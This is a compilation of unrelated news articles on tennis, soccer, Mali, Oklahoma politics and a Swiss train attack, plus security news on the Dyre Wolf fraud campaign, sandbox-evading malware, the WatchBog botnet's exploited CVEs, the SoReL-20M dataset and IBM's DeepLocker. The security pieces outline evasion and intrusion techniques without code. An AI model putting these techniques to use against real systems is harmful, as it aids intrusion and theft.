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Story highlightsIt was the first all-American final at the US Open since 2002This was the seventh time in the Open Era two first-time finalists faced off in a grand slam final (CNN)Sloane Stephens' epic comeback is complete.Stephens, who has jumped more than 900 spots in the world rankings in a month, is now a grand slam champion, winning the US Open 6-3, 6-0 against No. 15 seed and fellow American Madison Keys at Arthur Ashe Stadium in Flushing, New York.This was only the seventh time in the Open Era, and the second time at the US Open, that two first-time finalists have faced off in a grand slam final. This also was the first all-American US Open final since 2002, when Serena Williams defeated Venus Williams. Stephens is the first American woman other than the Williams sisters to win a grand slam title in 15 years.BEST. DAY. EVER. 🇺🇸🏆 pic.twitter.com/R8ARc09Qwb— Sloane Stephens (@SloaneStephens) September 10, 2017
The 24-year-old Stephens, unseeded and ranked 83rd, is the third player to win the US Open ranked outside the top 10 since computer rankings began in November 1975. The others were unranked Kim Clijsters in 2009 and No. 26 Flavia Pennetta in 2015.When it was over, the two Americans shared a long embrace on the court. After Stephens celebrated with her support group, including her mother, Sybil Smith, she returned to the court and sat next to Keys, whom Stephens calls her best friend on the WTA tour.Read More"Honestly I wouldn't have wanted to play anyone else," Stephens said. "For us both to be here is such a special moment. I told her I wish there could be a draw, because I wish we could have both won. I think that if it was the other way around she would do the same for me. I'm going to support her no matter what, and I know she's going to support me no matter what. To stand with her today is incredible. That's what real friendship is."Stephens with Madison Keys after the match.None of this looked possible earlier this summer.Stephens, who had been sidelined for 11 months after a foot injury and underwent surgery in January, made her comeback at Wimbledon and entered this summer's US Open Series ranked 957th. But she's been on a tear in the North American events, reaching the semifinals in Toronto and Cincinnati."I had surgery January 23," Stephens said. "If someone told me then that I'd win the US Open, 'It's impossible,' I would say. 'It's absolutely impossible.' My journey to get here, coming back, just being able to keep it all together and have such a great team behind me -- this journey's been incredible. And I honestly wouldn't change it for the world."With the win, Stephens is projected to rise to No. 17. She also nets a hefty payday: $3.7 million. Her career earnings heading into this tournament were $4,519,709, with $310,546 coming this year."That's a lot of money," a visibly surprised Stephens said, as Keys jokingly tried to take the check.Keys, 22, is projected to move up to No. 12 by reaching the final."Sloane is truly one of my favorite people, and to get to play her was really special," Keys said. "Obviously, I didn't play my best tennis today and was disappointed, but Sloane, being the great friend that she was, was very supportive. If there's someone I have to lose to today, I'm glad it's her."An improbable runStephens, who started playing tennis at age 9, comes from an athletic family. Her mother, Smith, is a former collegiate swimmer at Boston University. Her late father, John Stephens, was an NFL running back in the late 1980s and early 1990s.Stephens made her breakthrough in 2013 when she defeated Serena Williams to reach the Australian Open semifinal. She would go on to lose to eventual champion Victoria Azarenka.Her first singles title was in 2015 in Washington. She added three more titles in 2016.The potential has been there for her to win a grand slam, but what she's done this summer, considering the circumstances with her previous injury, is shocking.Heading into Saturday's final, Stephens had won 14 of her last 16 matches, including defeating No. 9 Venus Williams in the semifinal. She's one of three players who have never held the No. 1 ranking who have beaten both Williams sisters in grand slam events.😊🇺🇸🏆🇺🇸🏆😊Congratulations to @Madison_Keys and @SloaneStephens on a truly fabulous two weeks of tennis in Flushing Meadows.#USOpen pic.twitter.com/JUvfoJJrDa— US Open Tennis (@usopen) September 9, 2017
Stephens now has more wins at the year's US Open matches (seven) than she had in her last six grand slam appearances combined (six).Stephens didn't play in the US Open last year because of the foot injury."I should just retire now," Stephens cracked. "I told Maddie I'm never going to be able to top this. I mean, talk about a comeback."Unranked players aside, Stephens is the second-lowest ranked player to reach and win the title match at a grand slam, after No. 111 Chris O'Neil, who won the 1978 Australian Open. She's the lowest ranked player to reach and win the title match at the US Open.Stephens is the fourth unseeded player to reach the final in the US Open and 14th in grand slam finals in the Open Era.Excluding when unranked Clijsters won in 2009, the matchup between No. 16 Keys and No. 83 Stephens, with a combined ranking of 99, is the lowest title match at the US Open since computerized rankings began in November 1975. In addition to Stephens, Keys also was making a comeback from injury.For Keys, this year's US Open was just her 10th tournament of 2017. During the off-season, Keys underwent surgery on her left wrist and missed the first two months of the year. She also, according to the WTA's website, had a second surgery on the wrist ahead of Wimbledon, and she also withdrew from Rogers Cup in Toronto because of a left forearm injury."If you told me two months ago that I'd be holding a (runner-up) trophy for the US Open, I'd be really happy and proud of myself," Keys said.The No. 15 seed has never won the US Open. The last time a 15 seed won a major was Marion Bartoli at Wimbledon in 2013.Youth movementWith this result, four different players won this year's majors -- the first time that's happened since 2014. Serena Williams won the Australian Open, Jelena Ostapenko was the French Open champion, and Garbine Muguruza hoisted the Wimbledon trophy. It's the 12th time that has happened in the Open Era.There are also signs of a changing of the guard in women's tennis. Ostapenko, 20, became the first unseeded player and lowest ranked player to win Roland Garros in the Open Era. Muguruza, 23, became the only player to defeat both Williams sisters in a grand slam final when she defeated Venus Williams to win Wimbledon. When the rankings are released Monday, Muguruza will be in the top spot for the first time.Stephens joins Muguruza, Ostapenko and Petra Kvitova as players born in the 1990s to win a grand slam title.This year's US Open was the third final in the past five grand slam events not involving a player age 30 or older.
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Security researchers have uncovered an active cyber attack campaign that has successfully stolen more than $1 Million from a variety of targeted enterprise organizations using spear phishing emails, malware and social engineering tricks.
The campaign, dubbed "The Dyre Wolf" by researchers from IBM's Security Intelligence division, targets businesses and organizations that use wire transfers to transfer large sums of money, even if the transaction is protected by 2-factor authentication.
A MIXTURE OF MALWARE, SOCIAL ENGINEERING & DDoS
Nowadays, cybercriminals not only rely on banking Trojans to harvest financial credentials, but also using sophisticated social engineering tactics to attack big corporations that frequently conduct wire transfers to move large sums.
"An experienced and resource-backed [cyber criminal] gang operates Dyre," John Kuhn, Senior Threat Researcher at IBM Managed Security Service, wrote in a blog post published Thursday.
"[Dyre] was used in wide-stroke [cyber] attacks for the past year and has now moved into a more [indecent] stage of attacking corporate accounts via the incorporation of skilled social engineering schemes."
In addition to the advanced social engineering tricks, the Dyre criminal gang also employs distributed denial-of-service (DDoS) attacks against the targeted bank or businesses in order to distract attention and resources from the theft and to prevent victims from logging into the bank account until it was too late.
HOW THE ATTACK WORKS
The attack starts with a spear phishing email reaches into your organization with an attachment claiming to be a document of financial importance, like an invoice, but is actually an 'Upatre downloader'.
Once opened, Upatre downloads and executes the Dyre Trojan into the victim's system which, according to IBM researchers, went undetected by the majority of antivirus software programs.
Dry Trojan has capability to hijack victim's address book and send out mass emails to all of them via Outlook. The malware then monitors victim's activities and waits for further action.
The process gets interesting when the victim with an infected computer tries to log into one of the hundreds bank sites which the trojan is programmed to monitor, Dyre displays new screen with a message stating that the site is experiencing some issues and that you must call the number provided to make the transaction.
Once you call the number given, you'll assisted by a real person, not an automated one. This is the uniqueness and the extent of social engineering trick used by Dyre attackers that use real persons as the part of their attack.
The attackers then retrieve all the information from the victim, and as soon as the victim hangs up the phone, the wire transfer is made by the crooks on the other end of the phone.
At the time, when the money is being bounced from bank to bank to circumvent detection by the bank and law enforcement, the targeted organization's website will be subjected to a DDoS attack. The idea behind the DDoS attack is to prevent the victim from accessing the bank account.
STEPS TO PROTECT AGAINST THE DYRE WOLF
IBM security researchers recommend the following steps to users in order to protect against the attack:
Organizations should train its employees on security best practices.
Conduct periodic mock phishing exercises where employees receive emails or attachments that simulate a malicious behavior. Then using that findings, discuss the growing security threats with them.
Provide security trainings to its employees in order to help understand threats and measures they can take to protect their organization.
Regular reminders on phishing and spam campaigns should be provided to employees in order to prevent them to open any suspicious attachments or links.
As the banks never ask for banking credentials, employees should be trained to never provide this information to anyone.
The Dyre Wolf campaign has already ripped off organizations for $500,000 (€450,000) and more than $1 Million (€910,000) per attack. However, this much large sums of money are not transferred without alarming the organizations, but cybercriminals have focused only on those banks that transfer large sums of money without triggering alarms.
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Story highlightsRoger Federer hopes to win "about five" tournaments in 2014 and play in "great" finalsThe Swiss ends 2013 at No. 6, his lowest year-end ranking since 2002 Serena Williams is one major short of tying Martina Navratilova and Chris EvertAndy Murray returns to the pro circuit in 2014 after undergoing back surgery in SeptemberRoger Federer took time out from his off-season training regimen to answer questions on Twitter from his legions of fans. Among the things they learned earlier this month was that Federer's favorite fruits were strawberry, apple and mango and that he has visited 55 countries. When asked what he planned to get wife Mirka for Christmas, the funnier side of the 17-time grand slam champion emerged: A "hashtag," he replied. He added that he was "working overtime" to win the Australian Open in January -- which leads us to the first of five burning questions looking ahead to the 2014 tennis season. Can Roger Federer win another grand slam? The numbers, so often in favor of history maker Federer, were less kind to the Swiss in 2013. He failed to reach a grand slam final for the first time since 2002, his grand slam quarterfinal streak ended at 36 and his year-end ranking of No. 6 was his lowest in 11 years. JUST WATCHEDRoger Federer: You can't always winReplayMore Videos ...MUST WATCHRoger Federer: You can't always win 01:31JUST WATCHEDRoger Federer: A crusader for educationReplayMore Videos ...MUST WATCHRoger Federer: A crusader for education 08:26JUST WATCHEDRoger Federer on mental toughnessReplayMore Videos ...MUST WATCHRoger Federer on mental toughness 06:10Federer only won one tournament, on grass in Halle, Germany -- though he was bounced from Wimbledon a few weeks later in the second round after claiming the title at the All England Club a record seven times.Longtime coach Paul Annacone was axed months later. Read: Federer's shock defeatHis back problems returned, with Federer saying it was a mistake to keep playing at the BNP Paribas Open in March when the back flared up. It was indeed a slump -- well, for Federer. But Federer says he is now fit, which helped the 32-year-old finish the season on a high. "My self-confidence has also returned," he told the website of one of his sponsors, Credit Suisse, in late November. "By the end, everyone around me was talking positively again. The mood was much better than in the summer."That boosts my morale for the coming year, and it's a big relief. The fun has definitely returned."Federer said he would like to win "about" five tournaments in 2014 and play in "great finals." The majors are what matter to Federer most, and if he was to claim the Australian Open he would become the second oldest man -- behind Andre Agassi -- to bag a singles grand slam in the last 40 years. Federer probably needs to beat two of Rafael Nadal, Novak Djokovic and Andy Murray to collect an 18th major but his recent record against the trio is underwhelming. He has lost four straight to Nadal, three straight to Djokovic and fell to Murray in an absorbing Australian Open semifinal last January.JUST WATCHEDRafael Nadal: Comeback was difficultReplayMore Videos ...MUST WATCHRafael Nadal: Comeback was difficult 02:35JUST WATCHEDSerena Williams' inner circleReplayMore Videos ...MUST WATCHSerena Williams' inner circle 06:55JUST WATCHEDIs Murray ready for the Australian Open?ReplayMore Videos ...MUST WATCHIs Murray ready for the Australian Open? 02:29No matter what happens to Federer in 2014, though, he'll still be a major talking point. Can anyone stop Rafael Nadal at the French Open?Statistically, Nadal became the best player ever at the French Open when he won an unprecedented eighth title on the red clay at Roland Garros. Only once has he failed to win in Paris in the spring, when Robin Soderling, Nadal's wonky knees and the then split of the Mallorcan's parents made for a combination too powerful to overcome in 2009. Since then he has captured four in succession.But Nadal came within an inch of likely losing at the French Open this year to Djokovic. The Serb led by a break 4-3 in the fifth set of their semifinal when he touched the net before a point ended at deuce. It was an easy put away that Nadal had no chance of reaching. Djokovic lost the point, Nadal broke back and he won 9-7 in the fifth. Read: The 'real' French Open final Only two months prior, Djokovic snapped Nadal's 46-match winning streak, dating back to 2005, at the clay-court Monte Carlo Masters. If anyone is to get the better of Nadal at the French Open next year -- assuming he is healthy -- Djokovic, who has appointed Boris Becker as the head of his coaching team, is the lone serious candidate. Who can derail Serena Williams? Serena Williams compiled a 78-4 record in 2013 for the best winning percentage on the women's tour since 1990 and she took home nearly $12.4 million in prize money -- the most ever for a female tennis player in a season. Williams was stunned by Sabine Lisicki at Wimbledon in one of those four losses but weeks earlier lifted the French Open trophy for the first time since 2002. When she triumphed at the U.S. Open in September, the American climbed to 17 majors to approach Chris Evert -- once her critic -- and Martina Navratilova. JUST WATCHEDAndy Murray inspires Scottish hometownReplayMore Videos ...MUST WATCHAndy Murray inspires Scottish hometown 04:42JUST WATCHEDIvan Lendl on managing Andy Murray ReplayMore Videos ...MUST WATCHIvan Lendl on managing Andy Murray 00:57JUST WATCHEDMaria Sharapova's taste for businessReplayMore Videos ...MUST WATCHMaria Sharapova's taste for business 03:26Read: Serena gets better of Vika Unlike her fellow 32-year-old Federer, Williams doesn't have as many roadblocks in front of her so she could keep on collecting grand slam titles in bunches. World No. 2 Victoria Azarenka has yet to win a grand slam outside Australia and Maria Sharapova is returning from another serious shoulder injury. They're Williams' two main rivals. Williams' first order of business is to end Azarenka's two-tournament reign in Melbourne after injuries hampered her Down Under in 2012 and this year. How will Andy Murray recover from his back injury? Murray missed the last two months of the season following back surgery and all eyes are on the Scot to see how he'll rebound in 2014. As the likes of Federer, Agassi and Murray's coach, Ivan Lendl, can attest, back problems are difficult to shake. He is due to return to action at an exhibition tournament in Abu Dhabi on Boxing Day against Jo-Wilfried Tsonga and might also face Djokovic and Nadal."It's exactly the test I need to see where my game is at," Murray was quoted as saying by ESPN UK online. Thankfully for Murray he was able to end Britain's 77-year wait for a men's singles champion at Wimbledon -- before the back forced him off tour -- when he toppled Djokovic in July. Prior to Nadal re-emerging on the circuit in February, Djokovic and Murray contested two straight grand slam finals. Murray wants to make more history, said mom Judy."Andy's goal is to win more grand slams and try to achieve that end-of-year world No. 1 ranking," she was quoted as saying by the Scotsman newspaper this week. Can anyone new win a major? With the men's Big Four around, unearthing a new grand slam champion in 2014 figures to be difficult. Since the spring of 2005, only one man not named Federer, Nadal, Djokovic or Murray has won a grand slam -- Juan Martin del Potro at the 2009 U.S. Open. Recent years, however, tell us it could happen on the women's tour. For four straight seasons a debutante has come through at a major, Marion Bartoli being the most recent at Wimbledon. Bartoli was the first to admit she benefited from a nice draw, with Williams, Sharapova and Azarenka all exiting before the quarterfinals.
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Story highlightsFrance confirms the death of senior Islamist militant Abdelhamid Abou ZeidAbou Zeid was a commander of al Qaeda in the Islamic MaghrebFrench and African forces have been fighting Islamist militants in Mali since JanuaryAbou Zeid was killed in the Ifoghas Mountains, where the hunt for militants continuesFrance confirmed for the first time Saturday that Islamist militant Abdelhamid Abou Zeid was killed amid fighting by French forces in northern Mali late last month.Abou Zeid's death in the Ifoghas Mountains had been widely reported but the French government declined to confirm it pending the results of DNA testing. The death of one of the major figures in al Qaeda in the Islamic Maghreb "marks an important stage in the struggle against terrorism in the Sahel," said a statement from the office of French President Francois Hollande.Report: Al Qaeda kills French hostage held in MaliAbou Zeid was considered one of the group's most ruthless commanders, having seized at least a dozen foreigners for ransom.The French president's office said there was no new information regarding a second man reported to have been killed in the fighting in northern Mali, jihadist commander, Moktar Belmoktar. DNA testing was also being conducted to confirm his death. Belmoktar is believed to be behind a large scale attack at an Algerian gas plant in January that left dozens of hostages and militants dead. At the beginning of this year, Abou Zeid joined other Islamist forces making a push southward toward the capital, Bamako. But when the Islamist advances prompted a French intervention, he moved to the area around the less accessible city of Kidal, close to the virtually impenetrable Ifoghas Mountains.French minister: 'Tons' of Islamists' heavy weapons found in MaliFrench and allied forces, including Malian and Chadian troops, have made significant inroads in recent weeks combating Islamist extremist fighters in Mali. But fighting continues in the remote northeastern part of the West African nation.Nearly 50 aerial sorties were flown in the past few days, most of them in the Ifoghas Mountains region and along the Niger river between Gao and Timbuktu, the French Defense Ministry said Thursday.French ground forces, supported by troops from Chad, have been hunting armed terrorist groups in amongst the valleys of the massif, the ministry said.French involvement in the conflict began on January 11, the day after militants said they had seized the city of Konna, east of Diabaly in central Mali, and were poised to advance south toward Bamako, the capital.In total, 4,000 French soldiers are deployed in Mali, according to the French Defense Ministry website, alongside 6,300 troops from Chad and the African-led International Support Mission to Mali.Islamist extremists carved out a large haven in northern Mali last year, taking advantage of a chaotic situation after a military coup by the separatist party MNLA. France using DNA to identify Islamists killed in Africa
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Story highlightsLos Angeles Galaxy have reached the 2011 MLS CupGalaxy reached the championship game after a 3-1 win over Real Salt LakeBruce Arena's team will face Houston Dynamo in the November 20 matchLos Angeles Galaxy reached Major League Soccer's (MLS) championship match on Sunday after a 3-1 defeat of Real Salt Lake in the Western Conference final.The Galaxy, two-time MLS Cup winners, reached the deciding game for a record seventh time thanks to goals from captain Landon Donovan, American Mike Magee and Ireland striker Robbie Keane in front of their home fans at the Home Depot Center.Manager Bruce Arena's Galaxy will face Houston Dynamo in the post-season's final match, after Dynamo beat Sporting Kansas City in the Eastern Conference final.The final, which will take place at the Home Depot Center, could be midfielder David Beckham's last match for Los Angeles, with the former England captain's contract expiring at the end of the season.But Beckham, 36, is focused only on the upcoming match with Dynamo, after playing in the MLS Cup 2009 when the Galaxy were beaten by Real Salt Lake in a penalty shoot-out."We're happy to be winning the Western final, but we know that there is one more game to go so we're not getting carried away," the former Real Madrid and Manchester United star told the league's official website."We did that a couple of years ago and we paid for it. We didn't win the MLS Cup final, so hopefully this will be something that we're happy to win [on Sunday], but we know that we've got one more game."Galaxy went ahead on 23 minutes when Donovan, 29, converted a penalty after Andy Williams' push on Omar Gonzalez.JUST WATCHEDBehind the scenes with David BeckhamReplayMore Videos ...MUST WATCHBehind the scenes with David Beckham 06:35Dynamo responded almost immediately, striker Alvaro Saborio scoring with a close-range header to equalize after 25 minutes.Beckham, capped 115 times by England, helped Galaxy regain the lead on 58 minutes, his pin-point cross headed home by Magee.Former Tottenham and Liverpool forward Keane secured the win for Galaxy with 22 minutes remaining, wriggling free of his marker before firing a low shot beyond Salt Lake goalkeeper Nick Rimandi.Dynamo needed second half goals from defender Andre Hainault and forward Carlos Costly to see off the challenge of Sporting Kansas City in front of a record crowd at Livestrong Sporting Park.The 16th MLS Cup final will complete the 2011 season and will be played on Sunday November 20.
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Recently we reported about that Symantec provide overview and analysis of the year in global threat activity via its Internet Security Threat Report (ISTR), with a exclusive details that 400 million new variants of malware were created in 2011, which is an average of 33 million new variants of malware a month, or an average of one million new variants a day.
In order to develop malware that evades detection by the security companies malware writers come up with some clever, yet quite simple techniques. If malware stops itself when it detects that it is running in a virtual environment, it may trick an automated threat analysis system into thinking that it is a clean program.
So malware may not only fool automated threat analysis systems, but also a corporate system administrator who is searching for computers compromised by malware. Malware authors have recently attempted to use other approaches to fool automated threat analysis systems as well.
Latest example of such Trojan is that , where malware attaches its malicious code to routines normally used only to control the inputs from mouse clicks. The malicious code is designed to remain inactive unless the mouse itself is in use, giving a fair chance that the RAT will remain undetected, in the never ending cat and mouse game these two parties play.
Technically, this malware variant uses the SetWindowsHookExA Windows API function to inject itself into the message handling functions that process mouse events. When the code runs, it waits 300,000 milliseconds, or five minutes, before executing the DecryptCode subroutine, as shown in the image above. It then waits 20 minutes and executes the ModifyRegistry subroutine
After executing the Network_main subroutine, it waits another 20 minutes. Automated threat analysis systems only spend a small amount of time on one file so they may not detect the code as malware. Researchers also come across strains of malware that use "sleep mode" to evade dynamic analysis systems.
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Story highlights"Do we really have to educate non-citizens?" one lawmaker asksSuperintendent: "We shouldn't try to fix the budget hole by threatening children" (CNN)Fellow Republicans are distancing themselves from an Oklahoma lawmaker's proposed solution to state budget problems: turning kids who are learning English over to immigration authorities.An idea that state Rep. Mike Ritze floated this week in an interview with a local news station drew swift rebukes from members of his own party. It spurred sharp criticism from immigrant rights advocates. And it inspired a flurry of negative comments on his Facebook page.The state's top school official, who's also a Republican, quickly decried the idea."We shouldn't try to fix the budget hole by threatening children," Oklahoma state schools Superintendent Joy Hofmeister said on Twitter. "We are better than that."We shouldn't try to fix the budget hole by threatening children. We are better than that. #oklaed https://t.co/oLep4tAXt8— Joy Hofmeister (@joy4ok) May 11, 2017
Rep. Jon Echols, the state House majority leader, told CNN on Friday that targeting students taking English as a Second Language (ESL) classes isn't the right approach.Read More"It's a bad idea," he said.The proposalRitze, a doctor from the Tulsa suburb of Broken Arrow, Oklahoma, told KWTV this week that he and a group of Republican lawmakers had come up with a number of ways to fill a hole in their state's budget without raising taxes. One way to save $60 million, he said, would be looking at the tens of thousands of students in the state who don't speak English."Identify them and then turn them over to ICE to see if they truly are citizens," Ritze said. "Do we really have to educate non-citizens?"The short answer: yes.Why it won't happenA 1982 Supreme Court decision makes it clear that public schools must serve all students equally, regardless of immigration status. Plyler v. Doe struck down a Texas statute denying public education funds for children who were in the United States illegally. The court ruled that Texas' statute violated the 14th Amendment, which says no state should deny anyone in its territory "the equal protection of the laws."Decided law, Supreme Court 1982 https://t.co/3SPHo0Alva— Joy Hofmeister (@joy4ok) May 11, 2017
The Department of Homeland Security also has a policy stating that operations at schools and other designated sensitive locations "should generally be avoided."The responseSeveral Republican lawmakers reached by CNN said they're not backing the proposal that Ritze floated."I absolutely DO NOT support this idea," Rep. Chuck Strohm said in an email.Echols, the state House majority leader, cited the Supreme Court ruling and said officials are "required to offer an education to all students." And he noted that students who are learning English could be citizens. "Just because you're an ESL student doesn't mean you're automatically a non-citizen," he said.Oklahoma's branch of the ACLU was quick to condemn Ritze's comments."This proposal might be laughable," executive director Ryan Kiesel said, "if it weren't made at the expense of real human beings, common decency, and the United States Constitution."Ritze's office didn't immediately respond to a request for comment.A steady stream of negative posts have been appearing on the state lawmaker's Facebook page as word of the proposal spreads.On Friday, critics responded to Ritze's post wishing friends a "beautiful and blessed" Mother's Day."So many mothers out there who have struggled to give their children a better life are going to spend this Sunday wondering if ICE will be coming for their child," one post said.Not the first timeThe cost of education isn't a new flashpoint in the immigration debate. Immigrant and civil rights organizations, like the American Civil Liberties Union, say education is a fundamental right that officials can't take away. Organizations that advocate for stricter immigration enforcement, like the Federation for American Immigration Reform, say programs for students with limited English proficiency are a burden that taxpayers shouldn't be forced to shoulder. US public schools take steps to protect undocumented studentsThis isn't the first time a lawmaker has suggested using schools as a way to crack down on illegal immigration.Alabama legislators passed a controversial law in 2011 that required officials to check the immigration status of children in public schools. Courts blocked that portion of the law. But the measure still fueled widespread fear and caused a spike in absences and withdrawals among Hispanic students.In recent months, with threats of increased immigration enforcement looming, school districts around the country have pledged to protect undocumented students.About 50,000 children enrolled in Oklahoma's schools are designated as "English learners," according to state officials.English learners make up nearly 10% of the student population nationwide, according to the U.S. Department of Education. More than 4.8 million students enrolled in grades K-12 in the United States during the 2014-2015 school year were were identified as "English learners."In 2014, about 725,000 students enrolled in grades K-12 in the United States -- 1.3% of all students enrolled -- were unauthorized immigrants, according to Pew Research Center estimates based on government data.CNN's Holly Yan and Ray Sanchez contributed to this report.
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Cybersecurity researchers have discovered a new variant of WatchBog, a Linux-based cryptocurrency mining malware botnet, which now also includes a module to scan the Internet for Windows RDP servers vulnerable to the Bluekeep flaw.
BlueKeep is a highly-critical, wormable, remote code execution vulnerability in the Windows Remote Desktop Services that could allow an unauthenticated remote attacker to take full control over vulnerable systems just by sending specially crafted requests over RDP protocol.
Though the patches for the BlueKeep vulnerability (CVE–2019-0708) was already released by Microsoft in May this year, more than 800,000 Windows machines accessible over the Internet are still vulnerable to the critical flaw.
Fortunately, even after many individuals in the security community developed working remote code exploits for BlueKeep, there is no public proof-of-concept (PoC) exploit available till the date, potentially preventing opportunistic hackers from wreaking havoc.
However, cybersecurity firm Immunity just yesterday released an updated version of its commercial automated vulnerability assessment and penetration testing (VAPT) tool, CANVAS 7.23, which includes a new module for the BlueKeep RDP exploit.
It appears the attackers behind WatchBog are using their botnet network to prepare "a list of vulnerable systems to target in the future or to sell to third party vendors for profit," warned the researchers from Intezer Lab, who discovered the new WatchBog variant.
"The incorporation of the BlueKeep scanner by a Linux botnet may indicate WatchBog is beginning to explore financial opportunities on a different platform," the researchers said.
The BlueKeep scanner included in WatchBog scans the Internet and then submits the list of newly discovered RDP hosts, as a hexadecimal data string encrypted using RC4, to the attacker-controlled servers.
According to the researcher, the new WatchBog variant has already compromised more than 4,500 Linux machines in the last two months.
Although WatchBog is operating since late last year, attackers are distributing its new variant in an ongoing campaign active since early June this year.
The newly-discovered WatchBog variant includes a new spreading module along with exploits for some recently patched vulnerabilities in Linux applications, allowing attackers to find and compromise more Linux systems rapidly.
The WatchBog Linux botnet malware contains several modules, as structurally briefed below, which leverages recently patched vulnerabilities in Exim, Jira, Solr, Jenkins, ThinkPHP and Nexus applications to compromise Linux machines.
Pwn Module
CVE-2019-11581 (Jira)
CVE-2019-10149 (Exim)
CVE-2019-0192 (Solr)
CVE-2018-1000861 (Jenkins)
CVE-2019-7238 (Nexus Repository Manager 3)
Scanning Module
BlueKeep Scanner
Jira Scanner
Solr Scanner
Brute-forcing Module
CouchDB instances
Redis instances
Spreading Module
Apache ActiveMQ (CVE-2016-3088)
Solr (CVE-2019-0192)
Code Execution over Redis
After scanning and brute-forcing modules discover a Linux machine running the vulnerable application, WatchBog deploys a script on the targeted machine to download Monero miner modules from Pastebin website.
The malicious script then also gains persistence on the infected system via crontab and further downloads a new spreader module, which comes in the form of a dynamically linked Cython-compiled ELF executable.
Researchers have recommended Linux and Windows administrators to keep their software and operating systems up-to-date against known vulnerabilities in order to prevent themselves from being a victim of such attack campaigns.
You can find if WatchBog has infected your Linux machine by checking the existence of the "/tmp/.tmplassstgggzzzqpppppp12233333" file or the "/tmp/.gooobb" file on your system.
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Cybersecurity firms Sophos and ReversingLabs on Monday jointly released the first-ever production-scale malware research dataset to be made available to the general public that aims to build effective defenses and drive industry-wide improvements in security detection and response.
"SoReL-20M" (short for Sophos-ReversingLabs – 20 Million), as it's called, is a dataset containing metadata, labels, and features for 20 million Windows Portable Executable (.PE) files, including 10 million disarmed malware samples, with the goal of devising machine-learning approaches for better malware detection capabilities.
"Open knowledge and understanding about cyber threats also leads to more predictive cybersecurity," Sophos AI group said. "Defenders will be able to anticipate what attackers are doing and be better prepared for their next move."
Accompanying the release are a set of PyTorch and LightGBM-based machine learning models pre-trained on this data as baselines.
Unlike other fields such as natural language and image processing, which have benefitted from vast publicly-available datasets such as MNIST, ImageNet, CIFAR-10, IMDB Reviews, Sentiment140, and WordNet, getting hold of standardized labeled datasets devoted to cybersecurity has proved challenging because of the presence of personally identifiable information, sensitive network infrastructure data, and private intellectual property, not to mention the risk of providing malicious software to unknown third-parties.
Although EMBER (aka Endgame Malware BEnchmark for Research) was released in 2018 as an open-source malware classifier, its smaller sample size (1.1 million samples) and its function as a single-label dataset (benign/malware) meant it "limit[ed] the range of experimentation that can be performed with it."
SoReL-20M aims to get around these problems with 20 million PE samples, which also includes 10 million disarmed malware samples (those can't be executed), as well as extracted features and metadata for an additional 10 million benign samples.
Furthermore, the approach leverages a deep learning-based tagging model trained to generate human-interpretable semantic descriptions specifying important attributes of the samples involved.
The release of SoReL-20M follows similar industry initiatives in recent months, including that of a coalition led by Microsoft, which released the Adversarial ML Threat Matrix in October to help security analysts detect, respond to, and remediate adversarial attacks against machine learning systems.
"The idea of threat intelligence sharing in security isn't new but is more critical than ever given the innovation threat actors have shown over the past several years," ReversingLabs researchers said. "Machine learning and AI have become central to these efforts allowing threat hunters and SOC teams to move beyond signatures and heuristics and become more proactive in detecting new or targeted malware."
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Story highlightsPolice in St. Gallen said the suspect was also injured in the fireAmong the injured is a 6-year-old (CNN)A man on a train in eastern Switzerland stabbed several passengers and poured out some kind of liquid that caught fire Saturday afternoon, leaving six people hurt -- including a 6-year-old boy, police said.In a statement on Facebook, St. Gallen police said the 27-year-old suspect was also injured in the fire.In addition to the child, a 17-year-old man, a 50-year-old man and three women -- ages 17, 34 and 43 -- were taken to various hospitals with injuries ranging from burns to stab wounds, police said.Dozens of passengers were on the train when the attack occurred on the route between Buchs and Sennwald, just before the Salez Station, authorities said.The train was heavily damaged by the fire, and regional authorities have opened an investigation into the incident.Read MoreService has been shut down on that rail line and buses were brought in for passengers, police said. CNN's Melissa Gray contributed to this report.
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Artificial Intelligence (AI) has been seen as a potential solution for automatically detecting and combating malware, and stop cyber attacks before they affect any organization.
However, the same technology can also be weaponized by threat actors to power a new generation of malware that can evade even the best cyber-security defenses and infects a computer network or launch an attack only when the target's face is detected by the camera.
To demonstrate this scenario, security researchers at IBM Research came up with DeepLocker—a new breed of "highly targeted and evasive" attack tool powered by AI," which conceals its malicious intent until it reached a specific victim.
According to the IBM researcher, DeepLocker flies under the radar without being detected and "unleashes its malicious action as soon as the AI model identifies the target through indicators like facial recognition, geolocation and voice recognition."
Describing it as the "spray and pray" approach of traditional malware, researchers believe that this kind of stealthy AI-powered malware is particularly dangerous because, like nation-state malware, it could infect millions of systems without being detected.
The malware can hide its malicious payload in benign carrier applications, like video conferencing software, to avoid detection by most antivirus and malware scanners until it reaches specific victims, who are identified via indicators such as voice recognition, facial recognition, geolocation and other system-level features.
Also Read: Artificial Intelligence Based System That Can Detect 85% of Cyber Attacks
"What is unique about DeepLocker is that the use of AI makes the "trigger conditions" to unlock the attack almost impossible to reverse engineer," the researchers explain. "The malicious payload will only be unlocked if the intended target is reached."
To demonstrate DeepLocker's capabilities, the researchers designed a proof of concept, camouflaging well-known WannaCry ransomware in a video conferencing app so that it remains undetected by security tools, including antivirus engines and malware sandboxes.
With the built-in triggering condition, DeepLocker did not unlock and execute the ransomware on the system until it recognized the face of the target, which can be matched using publicly available photos of the target.
"Imagine that this video conferencing application is distributed and downloaded by millions of people, which is a plausible scenario nowadays on many public platforms. When launched, the app would surreptitiously feed camera snapshots into the embedded AI model, but otherwise behave normally for all users except the intended target," the researchers added.
"When the victim sits in front of the computer and uses the application, the camera would feed their face to the app, and the malicious payload will be secretly executed, thanks to the victim's face, which was the preprogrammed key to unlock it."
So, all DeepLocker requires is your photo, which can easily be found from any of your social media profiles on LinkedIn, Facebook, Twitter, Google+, or Instagram, to target you.
Trustwave has recently open-sourced a facial recognition tool called Social Mapper, which can be used to search for targets across numerous social networks at once.
The IBM Research group will unveil more details and a live demonstration of its proof-of-concept implementation of DeepLocker at the Black Hat USA security conference in Las Vegas on Wednesday.
